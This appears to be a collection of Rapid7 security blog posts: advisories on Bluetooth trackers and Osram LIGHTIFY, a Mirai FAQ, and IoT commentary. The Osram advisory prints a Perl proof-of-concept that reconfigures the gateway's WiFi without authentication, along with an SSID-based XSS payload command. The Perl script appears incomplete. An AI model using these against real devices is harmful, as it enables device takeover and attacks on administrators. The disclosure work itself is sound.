Unauthenticated access to the cloud-based service maintained by the vendor is allowed for querying or sending GPS data. Authentication appears to only be used to sync data back to the mobile application during application install or reinstall.


An adversary can access GPS data for any TrackR device from any web browser without authentication by using the tracker ID number (Figure 3), which can be discovered while being in Bluetooth range, as described above as R7-2016-18.2. The URL format is


TrackR tracker ID Bluetooth URL.png

Mitigation for R7-2016-18.3

A vendor-supplied patch to the cloud service should enable authentication before GPS data can be queried or written to the via the cloud service API.


Absent a vendor-supplied patch, users should be mindful of when they use the TrackR device in public which will expose the device ID, as described in R7-2016-18.2.


R7-2016-18.4: Unauthenticated Pairing (CVE-2016-6541)

TrackR Bravo device allows unauthenticated Bluetooth pairing, which allows unauthenticated connected applications to write data to various device attributes.


In the below example, this vulnerability allowed the device's advertised name to be changed via BLE - Generic Access 0x1800 Device name 0x2A00 as shown in Figure 4:

TrackR Device Name Change_Fig 4.png

This lack of write access authorization also allows an adversary to enable the device's remote alarm, triggering the alarm to both cause annoyance and drain the device's battery. Figure 5 describes this access via "BLE - Generic Access 0x1802 Device name 0x2A06."


TrackR alarm trigger_Fig 5.png


Mitigation for R7-2016-18.4

While the device is designed to pair with any nearby application to perform crowd-sourced, opportunistic geolocation services, a vendor-supplied patch should enable proper authenticated pairing for write access so only the authorized user's mobile application can pair and alter data on the device.


Absent a vendor-supplied patch, users should be mindful using the TrackR device in public spaces.


R7-2016-20: Multiple Vulnerabilities in iTrack Easy






Tracking ID Exposed




Duplicate Registration




Unauthenticated Modification




Weak Session Management





The iTrack mobile app also caches screenshots when minimized; while no critical information appears to be exposed in this way, it is a best practice to clear unique data and use a generic application image for context switching.


R7-2016-20.1: Tracking ID Exposed (CVE-2016-6542)

The iTrack device tracking ID number, also called "LosserID" in the web API, can be obtained by being in range of an iTrack device. The tracker ID is the device's BLE MAC address, as shown in Figure 6.


iTrack tracker ID_Fig 6.png


Mitigations for R7-2016-20.1

A vendor-supplied patch should change the tracker ID so that is not directly related to the manufacturer device ID, nor the device's BLE MAC address.


Absent a vendor-supplied patch, users should be mindful of when they use the iTrack device in public spaces, as this ID can be reused on the cloud-hosted service to track devices (and therefore, the user) remotely as described in R7-2016-20.2 and R7-2016-20.3.


R7-2016-20.2: Duplicate Registration (CVE-2016-6543)

A captured device MAC/losserid can be registered under multiple user accounts, as seen in Figure 7, allowing shared access to the cmd:getgps data.


iTrack losserid_Fig 7.png

This getgps data value is set when an iTrack device comes into detection range of another user's iTrack mobile application. The mobile application then sets the getgps GPS data for that detected device's losserID with the cmd:setothergps.


This vulnerability can be exploited by an adversary to register the authorized user's device, and therefore gain access to GPS data any time the device comes in proximity of a running instance of the iTrack mobile application.


Mitigations for R7-2016-20.2

A vendor-supplied patch should prevent the duplicate registration of devices.


Absent a vendor-supplied patch, users should be mindful of using the iTrack device in public spaces, as described in R7-2016-20.1.


R7-2016-20.3: Unauthenticated Modification (CVE-2016-6544)

The getgps data can be written without authentication by setting the data using the parametercmd:setothergps. An example of this is shown in Figure 8.


iTrack getgps_Fig 8.png

This vulnerability can be exploited by an adversary to alter the GPS location data of a lost device.


Mitigations for R7-2016-20.3

A vendor-supplied patch should require authentication before allowing write access for the data stored for getgps.


R7-2016-20.4: Weak Session Management (CVE-2016-6545)

Session cookies are not used for maintaining valid sessions. The user's password is passed as a POST parameter over HTTPS using a base64 encoded passwd field on every request. An example of this is shown in Figure 9, collected using standard man-in-the-middle (MitM) techniques.

iTrack passwd field_Fig 9.png

It is a best practice to manage web service sessions with session cookies, rather than resending the user's password. Session cookies can be expired or invalidated upstream after a timeout period or in the event of a compromise. In this implementation, sessions can only be terminated when the user changes the associated password.


Mitigations for R7-2016-20.4

A vendor-supplied patch should enable proper session management.


Absent a vendor-supplied patch, users should be mindful of when they use the iTrack device in public spaces and avoid connecting their mobile device to an unknown or open, public WiFi access point.


R7-2016-20.5: Cleartext, Base64-Encoded Password (CVE-2016-6546)

Examination of the iTrack Easy mobile application running on an iPad revealed that the account password used to authenticate to the cloud API was stored in a cleartext format in the cache.db. Examining the cache.db file reveals the base64-encoded password as shown in Figure 10.

iTrack cleartext password_Fig 10.png

Given typical user habits of password reuse, this sort of password disclosure can impact other online services.


Mitigation for R7-2016-20.5

A vendor-supplied patch should configure the mobile app to prevent storing potentially sensitive information such as passwords in cleartext. While some local storage is likely necessary for normal functionality, such information should be stored in an encrypted format that requires device authentication.


Users are strongly advised to avoid reusing passwords between services whenever possible in order to limit the damaging effects of accidental or intentional exposure of account credentials.


R7-2016-22: Multiple Vulnerabilities in Zizai Tech Nut






Cleartext Password



Local Device

Session Token Leaked




Unauthenticated Pairing





R7-2016-22.1: Cleartext Password (CVE-2016-6547)

Examination of the Zizai Tech Nut mobile application running on an iPad revealed that the account password used to authenticate to the cloud API was stored in cleartext in the cache.db. Examining the cache.db file reveals the cleartext password as shown in Figure 11.

Zizai Tech Nut password cleartext_Fig 11.png

Given typical user habits of password reuse, this sort of password disclosure can impact other online services.


Mitigation for R7-2016-22.1

A vendor-supplied patch should configure the mobile app to prevent storing potentially sensitive information such as passwords in cleartext. While some local storage is likely necessary for normal functionality, such information should be stored in an encrypted format that requires device authentication.


Users are strongly advised to avoid reusing passwords between services whenever possible in order to limit the damaging effects of accidental or intentional exposure of account credentials.


R7-2016-22.2: Session Token Leaked (CVE-2016-6548)

Examination of the Nut mobile application running on an iPad revealed three requests which communicated without encryption (HTTP, rather than HTTPS). These requests contained the user's authenticated session token within the URL. Examples of these URLs are shown in the table below.




An adversary can capture these requests and reuse the session token to gain full access to the user's account. An example of this technique is shown in Figure 12.

Zizai Tech Nut session token_Fig 12.png


Mitigation for R7-2016-22.2

A vendor-supplied patch should configure the mobile app to always communicate over HTTPS, rather than the cleartext HTTP protocol. In addition, the mobile application should pass session tokens only via HTTP headers or as part of a POST request, rather than embedding the token in the URL.


Absent a vendor-supplied patch, users should be mindful of when they use the Nut mobile application in public spaces and avoid connecting their mobile device to an unknown or open, public WiFi access point.


R7-2016-22.3: Unauthenticated Pairing (CVE-2016-6549)

The Nut device allows unauthenticated Bluetooth pairing, which allows unauthenticated connected applications to write data to the device name attribute.


In the below example, this vulnerability allowed the device's advertised name to be changed via BLE - Generic Access 0x1800 Device name 0x2A00 as shown in Figure 13:


Zizai Tech Nut device name_Fig 13.png


Mitigation for R7-2016-22.3

While the device is designed to pair with any nearby application to perform crowd-sourced, opportunistic geolocation services, a vendor-supplied patch should enable proper authenticated pairing for write access so only the authorized user's mobile application can pair and alter data on the device.


Absent a vendor-supplied patch, users should be mindful using the Nut device in public spaces.


Disclosure Timeline

This vulnerability is being disclosed in accordance with Rapid7's disclosure policy.


  • Thu, Aug 25, 2016: Attempted contact with vendors.
  • Fri, Sep 09, 2016: Disclosed details to CERT/CC as VU#617567, VU#974055, and VU#402847
  • Fri, Sep 09, 2016: CVEs assigned by CERT/CC
  • Mon, Oct 17, 2016: Disclosed R7-2016-18 to TrackR as issue #295585.
  • Tue, Oct 25, 2016: Public Disclosure.

Mirai FAQ: When IoT Attacks

Posted by todb Employee Oct 24, 2016

Update: Following the attack on Dyn back in October, there is some speculation over whether a similar Mirai-style attack could be leveraged to influence the election. This feels like FUD to me; there doesn't seem to be a mechanism to knock out one critical service to kick over enough state and county election websites, Dyn-style, to make such an attack practical. It could potentially be feasible if it turns out that a lot of city, county, and state websites are sharing one unique upstream resource, but without knowledge of that being the case, worries about a surgical DDoS against the election seems more like hyperbolic speculation than anything else.


Unless you've been blessed with some long DNS TTLs, you probably noticed that some name-brand chunks of the Internet seemed to go missing on Friday, October 21, including Twitter, GitHub, and Pandora. Over the weekend, it became clear that this was another (yes, another) IoT-based denial-of-service attack, where many thousands of devices with direct access to the internet participated in a wide-scale attack on DynDNS, unbeknownst to their legitimate owners, as part of a botnet called "Mirai."


What is Mirai?

Mirai is a botnet -- a malicious software application that is designed to gain unauthorized access to Linux-powered devices and conscript them into a distributed infrastructure of clients. Once enlisted, these machines have the capability to perform a variety of denial-of-service attacks against a target dictated by the attacker. In the Friday attacks, the target was Dynamic Network Services' managed DNS service (heretofore referred to as simply "Dyn").


How does Mirai work?

In order to gain access to IoT devices (and really, any Linux computer running telnet), Mirai does not exploit any software vulnerabilities. Instead, it simply tries to guess telnet login credentials for computers accessible via telnet from the internet. Some of these username and password combinations are pretty bad choices for anything hanging out on the internet, like "admin / admin" and "root / root," and some are associated with specific video surveillance systems, like "root / juantec" and "root / klv123." The complete list of credentials is published at GitHub, as part of the Mirai source code.


Once compromised, software is installed on that device that can kick off a variety of attacks as described in the source code, such as UDP or ACK flooding, DNS water torture, HTTP request flooding, and other volume-based attacks.


In the most recent attack, Dyn's services were knocked offline. Since Dyn provided DNS services exclusively for some major services, that meant that we could no longer figure out "where" on the Internet these services lived.


How big is Mirai?

Given the vagaries of internet-wide scanning, it's hard to say how many devices were involved in the Mirai botnet, but the order of magnitude looks to be in the hundreds of thousands range. For a sense of scale, we can look at the recent scans from the National Exposure Index, where we found 15 million apparent telnet servers. We also peeked at a recent Sonar scan of HTTPS certificates, where we found about 315,000 web servers providing a certificate associated with Dahua Technologies, one of the vendors of video surveillance systems that was targeted in the attack. Not all of these telnet servers or video systems are going to be vulnerable, and there are other vendors associated with the attack, but this "hundreds of thousands" figure seems about right.


With all these compromised and compromisable devices, Mirai is capable of sustaining hundreds of gigabytes per second of traffic against a chosen target.


What's Being Done to Fix This?

For this immediate issue, it looks like the heroic engineers at Dyn have been busy reconfiguring their routing in order to be able to weather further attacks. At the same time, their downstream customers are implementing more robust fall-back strategies with other DNS providers. This is not a vote of no confidence against Dyn, of course; disasters and outages happen, and it's only prudent for name-brand services to have fall-backs like this in place.


The fundamental problem of having many, many thousands of insecure devices on the internet remains an issue, though. BCP38 describes techniques for filtering traffic at the edge of an Internet Service Provider's network, which helps defend against DoS attack schemes that generate packets with forged source addresses, but this isn't particularly helpful against the threat demonstrated by Mirai.


What Can I Do?

First and foremost, you should not be exposing your telnet ports to the internet. Period. Full stop. End of story.


It doesn't matter how much you think you need unfettered access to telnet over the internet, you need to stop it. Now. There are much better alternative protocols, such as SSH for shell access, and HTTPS for GUI-based control, both of which offer modern security features like encryption and mutual authentication. Don't merely change your telnet access credentials; stop using them, and make it impossible for others to control your network bandwidth via telnet.


If you rely on a cloud service -- and who doesn't, these days -- then you should find out what their redundancy plans are in the event of not only an attack on their infrastructure, but an attack on their upstream providers. Reputable providers are quite forthcoming with sharing this information with their customers, and usually publish real-time status pages, like this one.


The Post-Mirai Reality

Unfortunately, the cost associated with exposing insecure devices is not just borne by the operators of these devices. While it may be creepy to know that anonymous, internet-based attackers can access your home or office camera feeds, the attacker in this case was not interested in those video streams at all. Instead, the attacker only cared about the processing power and network bandwidth of the vulnerable device.


Solving for externalities like this is extremely difficult, but given our track record, we know that technology professionals are pretty gifted at coming up with novel solutions to seemingly intractable problems. I'm confident we can come up with a solution that protects IoT devices, protects the rest of the network from those IoT devices, and still manages to preserve the open and distributed nature of the internet.

October is National Cyber Security Awareness month and Rapid7 is taking this time to celebrate security research. This year, NCSAM coincides with new legal protections for security research under the DMCA and the 30th anniversary of the CFAA - a problematic law that hinders beneficial security research. Throughout the month, we will be sharing content that enhances understanding of what independent security research is, how it benefits the digital ecosystem, and the challenges that researchers face.


2016 can be characterized as the year that IoT security research took off, both here at Rapid7 and across the security researcher community. While IoT security research was certainly being conducted in years past, it was contentious within our community as "too easy" or simply "stunt hacking." But as the body of research in this space grows along with the prevalence of IoT, it's become obvious that this sort of "easy" hacking is critical to not only the security of these devices in and of themselves, but to the safety of the people nearby these devices.


After all, the hallmarks of IoT is both the ability to interact with the real, physical space around the devices, and to communicate with other devices. Security failures, therefore, can both directly affect the humans who are relying on them and open attack vectors against nearby devices and the networks they are connected to.


With that in mind, I'd like take a moment to consider the more noteworthy events in IoT Security, and how together, they make the case that this year is when we stopped considering IoT security "junk hacking," and started taking these things seriously.


IoT Security in 2016


In January, Brian Knopf announced that the "I Am the Cavalry" security research advocacy group will be publishing an open, collaboration-driven cybersecurity rating system for IoT devices, in contrast to Underwriter Labs' proprietary standards. This isn't the first announced strategy to comprehensively rate the security of IoT devices, but it's certainly the most open. Transparency is crucial in security research and testing, since it allows for independent verification, reproducibility, and accountability.


In March, researcher Wish Wu of Trend Micro reported a pair of vulnerabilities in a Qualcomm component of the Android operating system which, if exploited, can allow a malicious application to grab root-level permissions. Wu presented these findings and others in May at the Hack in the Box security conference. While these bugs have been patched by Google, these findings remain significant for two reasons. One, Android is rapidly becoming the de facto standard operating system for the Internet of Things -- not just smartphones -- so bugs in Android can have downstream effects in everything from television set-top boxes, to children's toys, to medical devices. Second, and more worrying, many of these devices do not have the capability to get timely security updates or to upgrade their operating systems. Given the lack of moving parts in these machines, they can chug along for years without patches.


In May, researcher Earlance Fernandes and others at the University of Michigan demonstrated several vulnerabilities in Samsung's SmartThings platform for home automation, which centered around abusing and subverting applications to gain privileges, including a remote attack to reset a door lock PIN. Design issues of over-privileged applications are certainly not limited to Samsung's software engineering, but is commonplace in IoT infrastructure. Oftentimes, the services and applications that ship on IoT devices aren't designed with privilege constraints in mind. If the service does what it's supposed to do with administrative / root privileges, there isn't a lot of incentive to design it to work in a less permissive model, especially when designers aren't considering the motives or opportunity of a malicious user. In other words, while most traditional computers have pretty solid user privilege models, IoT devices often ignore this fundamental security concept.


In September, the Michigan Senate Judiciary Committee passed a bill that forbids some forms of "car hacking," but importantly, includes protections for research activities. These exemptions weren't included in the original text of the bill, but thanks to the efforts of Rapid7's Harley Geiger, we've seen a significant change in the way that legislators in Michigan view automotive cyber security and the value of security research there. While this bill is not yet law, the significance of this shift in thinking can't be understated.


Also in September, some of the early fears of widespread IoT-based insecurity manifested in the highly public IoT-powered DDoS attack against journalist Brian Krebs. This attack was made possible, in part, by the massive population of unpatched, unmanaged, and unsecured home routers, a topic explored way back in January by yours truly. Of course, I'm not saying I called it, but... I kinda called it.


Some closing pictures


Who doesn't love a good Google Trends graph? We can see from the below that interest in the "IoT Security" search term has doubled since the beginning of 2016, and I'd be surprised to see it hit any significant decline in the years to come.


iot security google trends graph.png


While much of this interest is pretty doomy and/or gloomy, it's healthy to be considering IoT security today, and I'm glad that IoT appears to be getting the respect and serious attention it deserves in the security research community. It's only through the efforts of individual, focused security researchers that we'll able to get a handle on the issues that bedevil the IoT-scape. Otherwise, we're looking at a future as envisioned by Joy of Tech:

Joy of Tech Internet of Ransomeware Things.png

Nine issues affecting the Home or Pro versions of Osram LIGHTIFY were discovered, with the practical exploitation effects ranging from the accidental disclosure of sensitive network configuration information, to persistent cross-site scripting (XSS) on the web management console, to operational command execution on the devices themselves without authentication. The issues are designated in the table below. At the time of this disclosure's publication, the vendor has indicated that all but the lack of SSL pinning and the issues related to ZigBee rekeying have been addressed in the latest patch set.







Cleartext WPA2 PSK





Lack of SSL Pinning





Pre-Authentication Command Execution





ZigBee Network Command Replay





Web Management Console Persistent XSS





Weak Default WPA2 PSKs





Lack of SSL Pinning





ZigBee Network Command Replay





Cached Screenshot Information Leak






Product Description

According to the vendor's January, 2015 press release, Osram LIGHTIFY provides "a portfolio of cost-effective indoor and outdoor lighting products that can be controlled and automated via an app on your mobile device to help you save energy, enhance comfort, personalize your environment, and experience joy and fun." It is used for both residential and commercial customers, using either the Home and Pro versions, respectively. As a "smart lighting" offering, Osram LIGHTIFY is part of the Internet of Things (IoT) landscape, and is compatible with other ZigBee based automation solutions.


These issues were discovered by Deral Heiland, Research Lead at Rapid7, Inc., and this advisory was prepared in accordance with Rapid7's disclosure policy.

Exploitation and Mitigation

R7-2016-10.1: Cleartext WPA2 PSK (Home) (CVE-2016-5051)

Examination of the mobile application for LIGHTIFY Home, running on an iPad revealed the WiFi WPA pre-shared key (PSK) of the user's home WiFi as stored in cleartext in the file, /private/var/mobile/Containers/Data/Application/F1D60C51-6DF5-4AAE-9DB1- 40ECBDBDF692/Library/Preferences//com.osram.lightify.home.plist. Examining this file reveals the cleartext string as shown in Figure 1:

Figure 1, Cleartext WPA2 PSK


If the device is lost or stolen, an attacker could extract this data from the file.

Mitigation for R7-2016-10.1

A vendor-supplied patch should configure the mobile app to prevent storing potentially sensitive information, such as WiFi PSKs and passwords in cleartext. While some local storage is likely necessary for normal functionality, such information should be stored in an encrypted format that requires authentication.


Absent a vendor-supplied patch, users should avoid connecting the product to a network that is intended to be hidden or restricted. In cases where this is undesirable, users should ensure that the mobile device is configured for full-disk encryption (FDE) and require at least a password on first boot.

R7-2016-10.2: Lack of SSL Pinning (Home) (CVE-2016-5052)

Examination of the mobile application reveals that SSL pinning is not in use. By not implementing SSL pinning, it is possible for an attacker to conduct a Man-in-the-Middle (MitM) attack, ultimately exposing SSL-encrypted traffic to the successful attacker for inspection and manipulation.

Mitigation for R7-2016-10.2

A vendor-supplied patch should configure the mobile application to use SSL pinning.


Absent a vendor-supplied patch, users should avoid using the mobile application in potentially hostile networks.

R7-2016-10.3: Pre-Authentication Command Execution (Home) (CVE-2016-5053)

Examination of the network services on the gateway shows that port 4000/TCP is used for local control when Internet services are down, and no authentication is required to pass commands to this TCP port. With this access, an unauthenticated actor can execute commands to change lighting, and also execute commands to reconfigure the devices. The following Perl script proof of concept code can be used to reconfigure a vulnerable device's primary WiFi connection, causing it to reconnect to an attacker-supplied WiFi network.


# POC to change SSID setting on OSRAM LIGHTIFY GATEWAY
# Deral Heiland, Rapid7, Inc.

use IO::Socket;
if ($#ARGV != 2) {
  print " You are missing needed Arguments\n";
  print "Usage: TargetIP SSID WPA_PSK \n";

# Input variables
my $IP = $ARGV[0];
my $SSID = $ARGV[1];
my $WPAPSK = $ARGV[2];

# Set up TCP socket
$socket = new IO::Socket::INET (
  PeerAddr => $IP,
  PeerPort => 4000,
  Proto => TCP,
or die "Couldn't connect to Target\n";

#Set up data to send to port 4000
$data1 = "\x83\x00\x00\xe3\x03\x00\x00\x00\x01";
$data2 = pack('a33',"$SSID");
$data3 = pack('a69',"$WPAPSK");
$data4 = "\x04\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$send_data = join "", $data1, $data2, $data3, $data4;

#send data to port 4000
close $socket;



Mitigation for R7-2016-10.3

A vendor-supplied patch should implement and enforce authentication on the gateway's 4000/TCP interface.


Absent a vendor-supplied patch, users should not deploy the gateway in a network environment used by potentially malicious actors.

R7-2016-10.4: ZigBee Network Command Replay (Home) (CVE-2016-5054)

Examination of the ZigBee home automation communication reveals that no rekeying of the Zigbee secure communication takes place after the initial pairing of the ZigBee-enabled end nodes (the light components of the system). Due to this lack of routine rekeying, it is possible for a malicious actor to capture and replay the Zigbee communication at any time, and replay those commands to disrupt lighting services without any other form of authentication.

Mitigation for R7-2016-10.4

Current Zigbee Home Automation Protocol Standard suffers from vulnerabilities preventing the ability to proper secure the Zigbee Home Automation protocol. The solution to resolving these inherent security flaws require fixing of the core protocol, which is under the control of the Zigbee alliance (


Absent corrections of the Zigbee Home Automation protocol, users should not deploy the lighting components in a network environment used by potentially malicious actors.

R7-2016-10.5: Web Management Console Persistent XSS (Pro) (CVE-2016-5055)

The installed web management console, which runs on ports 80/TCP and 443/TCP, is vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistent JavaScript and HTML code into various fields within the Pro web management interface. When this data is viewed within the web console, the injected code will execute within the context of the authenticated user. As a result, a malicious actor can inject code which could modify the system configuration, exfiltrate or alter stored data, or take control of the product in order to launch browser-based attacks against the authenticated user's workstation.


The first example of this flaw was found by injecting persistent XSS into the security logs via the username field during the basic authentication sequence, as shown below in Figure 2.

Figure 2: Username XSS Injection


Anything entered in the "User Name" field gets written to the security logs without sanitization. When these logs are reviewed, the JavaScript is rendered and executed by the victim's browser. Figure 3 demonstrates an alert box run in this way.

Figure 3: Injected JavaScript Alert Box

The second example of this flaw was found by injecting XSS into the Wireless Client Mode configuration page. This was accomplished using a rogue access point to broadcast an SSID containing the XSS payload. Using the following airbase-ng command, it is possible to broadcast the XSS payload as an SSID name.


bash airbase-ng -e '</script><embed src=//>' -c 9 wlan0mon


When the SSID of </script><embed src=//> is displayed on the Wireless Client Mode configuration page, the referenced Flash file is downloaded and run in the context of the authenticated user. This is shown in Figure 4.

Mitigation for R7-2016-10.5

A vendor supplied patch should enforce that all data should be filtered and special characters such as > and <should be properly escaped before being displayed by the web management console.


Absent a vendor-supplied patch, users should not deploy the web management console in a network environment used by potentially malicious actors.

R7-2016-10.6: Weak Default WPA2 PSKs (Pro) (CVE-2016-5056)

Weak default WPA2 pre-shared keys (PSKs) were identified on the devices examined, which used an eight character PSK using only the characters from the set "0123456789abcdef". This extremely small keyspace of limited characters and a fixed, short length makes it possible to crack a captured WPA2 authentication handshake in less than 6 hours, leading to remote access to the cleartext WPA2 PSK. Figure 5 shows the statistics of cracking the WPA2 PSK on one device in 5 hours and 57 minutes.

Figure 5: Hashcat Cracking WPA2 PSK in Under Six Hours


A second device's WPA2 PSK was cracked in just 2 hours and 42 minutes, as shown in Figure 6:

Figure 6: Hashcat Cracking WPA2 PSK in Under Three Hours

Mitigation for R7-2016-10.6

A vendor-supplied patch should implement a longer default PSKs utilizing a larger keyspace that includes both uppercase and lowercase alphanumeric characters and punctuation, since these keys are not typically intended to be remembered by humans.


Absent a vendor-supplied patch, users should set their own PSKs with the above advice, and not rely on the shipped defaults by the vendor.

R7-2016-10.7: Lack of SSL Pinning (Pro) (CVE-2016-5057)

As in the Home version of the system, the Pro version does not implement SSL pinning in the mobile app. See R7-2016-10.2: Lack of SSL Pinning (Home) (CVE-2016-5052), above.

R7-2016-10.8: ZigBee Network Command Replay (Pro) (CVE-2016-5058)

As in the Home version of the system, the Pro version does not implement rekeying of the ZigBee commands. See R7-2016-10.4: ZigBee Network Command Replay (Home) (CVE-2016-5054), above.

R7-2016-10.9: Cached Screenshot Information Leak (Pro) (CVE-2016-5059)

Examination of the commissioning app revealed that the application was caching screenshot of the current page when the IPAD home button was selected in the folder, /private/var/mobile/Containers/Data/Application/A253B0DA-CFCE-433AB0A1- EAEB7B10B49C/Library/Caches/Snapshots/com.osram.LightifyPro/com.osr am.LightifyPro.


This practice can often lead to confidential data being stored within the snapshot folder on the IPAD device. As shown in Figure 7, the plain text password of the gateway is displayed in the cached screenshot.


Mitigation for R7-2016-10.9

A vendor-supplied patch should use a default page for the Downscale function when the home button is pressed, and that all passwords and keys displayed on the application configuration pages be obfuscated with asterisks.


Absent a vendor-supplied patch, users should be mindful of when they minimize the running mobile application to avoid accidentally disclosing sensitive information.

Disclosure Timeline

  • Mon, May 16, 2016: Initial contact to the vendor by Rapid7.
  • Tue, May 17, 2016: Vendor acknowledged receipt of vulnerability details.
  • Tue, May 31, 2016: Details disclosed to CERT/CC (Report number VR-174).
  • Wed, Jun 01, 2016: CVEs assigned by CERT/CC.
  • Thu, Jul 07, 2016: Disclosure timeline updated and communicated to the vendor and CERT/CC.
  • Thu, Jul 21, 2016: Vendor provided an update on patch development.
  • Tue, Jul 26, 2016: Public disclosure of the issues.


Update (Aug 10, 2016): Added a note about the Zigbee protocol for R7-2016-10.4 in the summary section.

Nearly every conversation I have had around the Internet of Things (IoT) and what it means to an organization starts off with the question, “What is IoT?” This question is often followed by many people giving many different answers. I'm sure I won't solve this problem here in a single blog post, but I hope to add some food for thought.


What IoT is Not


You would expect to start off with a list of things that make up IoT, but I was thinking maybe the first thing is to define what it is not, if that is even doable. Reading through a 2014 article in NetworkWorld, “Eight Internet Things That are Not IoT” we find the following list of items analysts have listed as not being IoT:


  • Desktops
  • Laptops
  • Tablets
  • Smartphones
  • Traditional Mobile Phones
  • TVs
  • DVD/MP3 players
  • Game consoles


This list demonstrates how fast technology is evolving.  While it was a pretty solid list when it was created two years ago, I think we can all agree that today, it's no longer accurate. Significant technological innovations in a number of these items means they are now considered either to be IoT in themselves, or directly tied to an IoT ecosystem. For example, smart TVs have the ability to watch us, record our every move, and communicate that information to a cloud API over the Internet. They also allow us to communicate and control them via voice and applications on our laptops, tablets, and smartphones.




Though the article discussed what is not classified as IoT based on its physical purpose, or requiring human interaction, it has quickly become outdated. Using this information, we can conclude that given the rate of innovation, what isn't categorized as IoT today, may very well be tomorrow, so trying to define what isn't IoT isn't necessarily the best direction to go in.


Traits of IoT


Maybe the better way to answer, “What is IoT?” is by defining the functions that make something IoT. Although, this process does have its own issues. For example, to be classified as a part of IoT, must it communicate to the Internet? If we claim that this is a litmus test for determining it, a large quantity of technologies currently classified as IoT that are in use with industrial and enterprise areas would not meet this requirement.


After reading through a number of documents and papers on the matter and reading many definitions there are four common elements I have identified that are part of the typical identification of IoT:


  • Interrelated devices: IoT environments always consist of multiple interrelated systems and technologies which can include: gateways, sensors, actuators, mobile technology, cloud systems and host systems.
  • Collecting and sharing data: IoT technology is always found to collect and/or share data from sensors and controllers. This data may be a simple as audio commands from your smart TV to the cloud, or as sensitive as data from a temperature sensor used to control a high pressure boiler system within a SCADA environment.
  • Networked together: IoT systems are always network interconnected. This is required to facilitate the exchange of data between the interrelated devices that make up an IoT environment.
  • Embedded electronics: Embedded electronics is the corner stone of the IoT. Their specialized functionality and reduction in size has helped fuel the growth of IoT. Without it, IoT would not exist.


Devices vs. Ecosystem


Of course, these four items on their own do not completely define IoT, or better stated, do not completely define the IoT ecosystem. Before we dig into the remainder of this definition, let's explore the concept of an IoT ecosystem. This is key to understanding IoT - we should not consider the technology as stand-alone devices, but rather as elements of a rich, interconnected, technological ecosystem. In a previous blog I stated the following:


“ecosystem—this is where we consider the entire security picture of IoT, and not just one facet of the technology.”


The ecosystem encompasses all of the interrelated parts that make an IoT solution work. Based on that, I believe any device or technology can be part of an existing IoT ecosystem, including desktop computers. If we try to label any technology as “not IoT” we are going to end up either rewriting the rules six months down the road or completely failing when we try to properly define security risk as they relate to deployed IoT solutions. The best way to solve these issues is to understand what an IoT ecosystem is so that we can more effectively define risk and develop solutions to mitigate those risks.


Traits of an IoT Ecosystem


As I said before, the IoT is not about stand-alone devices and if we try to approach it that way we will fall short trying to secure it. IoT is an environment that has an ecosystem that encompasses multiple devices (physical and virtual), technologies (mobile, cloud, etc.), communication methods (Ethernet, Wifi, Zigbee, etc.), and locations (internet, cloud, remote monitoring and control).


Continuing down that path, the following five bullets expand on the Traits of IoT listed above. There is no need for all of these to exist, but typically I find at least a couple of these items do apply to all IoT ecosystems I have encountered.


  • Mobile technology
  • Multiple end nods (sensors, actuators)
  • Cloud APIs
  • Multiple communications methods (Ethernet, Wifi, Zigbee, Bluetooth, ZWave)
  • Remote Monitoring or Control


I believe by combining these two lists above into a series of questions we can identify the most common traits that make up an IoT ecosystem. This will help us identify the "whole" of an IoT ecosystem. In the end, by properly understanding and identifying the ecosystem we can better test, maintain, and properly secure our rapidly expanding IoT world.


  • Which interrelated devices interact as part of this IoT environment?
  • How and where do they collect and share data?
  • Which technologies are networked together?
  • Which systems utilize embedded electronics?
  • Does it use mobile technology? How and where?
  • Are multiple end nods (sensors, actuators) being used?
  • What and where are the Cloud APIs and how do they interrelate?
  • Are multiple communications methods (Ethernet, Wifi, Zigbee, Bluetooth, ZWave) being used? Which ones?
  • What systems and locations use remote monitoring or control?


Hopefully I have given some food for thought and we can work on answering the bigger question, “What is the IoT ecosystem and how do we secure it?” I would love to hear your thoughts on this subject as we work together to secure the world of IoT.

In January 2015, Rapid7 worked with Jack Chadowitz and published research related to Automated Tank Gauges (ATGs) and their exposure on the public Internet.  This past September, Jack reached out to us again, this time with a slightly different request.  The goal was to reassess the exposure of these devices and see if the exposure had changed, and if so, how and why, but also to see if there were other ways of identifying potentially exposed devices that may have skewed our original results.


Scan Details


As you may recall, in the original study, we sent a TLS-350 Get In-Tank Inventory Report request (I20100) to all hosts on the public IPv4 Internet with 10001/TCP open.  A device speaking TLS-350 and supporting this function will respond with something similar to:


OCT  1, 2015  6:07 PM
<station number><station name>
<streety address>   
1  REGULAR               4812      4771     4708    44.45     0.00    71.95
2  PLUS                  3546      3507     5974    35.83     0.00    75.15
3  PREMIUM               3377      3344     6143    35.31     0.00    73.92


In this most recent study we completed on October 1, 2015, we repeated this request, but made the following additional requests:


  • TLS-350 System Revision Level request (I90200).  A device speaking TLS-350 and supporting this function will respond with something similar to:


OCT  1, 2015  6:18 PM
VERSION 131.02
SOFTWARE# 346330-100-B  
S-MODULE# 330140-145-a
0.10 AUTO
0.10 AUTO


  • TLS-250 Inventory Report on all Tanks request (200).  A device speaking TLS-250 and supporting this function will respond with something similar to the TLS-350 Get In-Tank Inventory Report response
  • TLS-250 Revision Level request (980).  A device speaking TLS-250 and supporting this function will respond with something similar to the TLS-350 System Revision Level response.


While there are literally hundreds of other TLS-250 or TLS-350 or other ATG TLS protocol variant commands we could be sending and attempting, the goal of these studies was to identify ATGs with unprotected dangerous functionality or sensitive information.  Attempting more of these commands likely would have identified more ATGs, however these protocols are not well documented, and, like so many other IoT things, we aren't so sure how resilient they are to repeated poking so it is best to play nice.  Plus, these ATGs are connected to tanks full of untold gallons of flammable liquid, so excess caution is not totally unwarranted.




When analyzing the data from January and October's ATG studies, each response to a particular request was categorized as follows:


  • Good: response appears to be a valid, non-error response for the protocol in question
  • Error: response appears to be a valid, error response for the protocol in question
  • Unknown: unknown data was received after connecting and attempting request
  • Empty: no data was received; either connection failed or no response upon connecting and attempting request


With this knowledge, we observed the following:


Data PointJanuary Initial TLS-350
October Enhanced TLS-250/TLS-350Notes
Default ATG TLS-250/TLS-350 port (10001/TCP) open17122851070728Our blacklist also increased by ~35m between these scans
Responded Unknown/Empty for all requestsn/a106422599.4% of the devices with 10001/TCP open are not ATGs
Responded Good for TLS-350 Get In-Tank Inventory Report request58935214This shows the change between January and now most accurately, though it is caused partially by blacklist increases and predominantly by natural fluctuation.
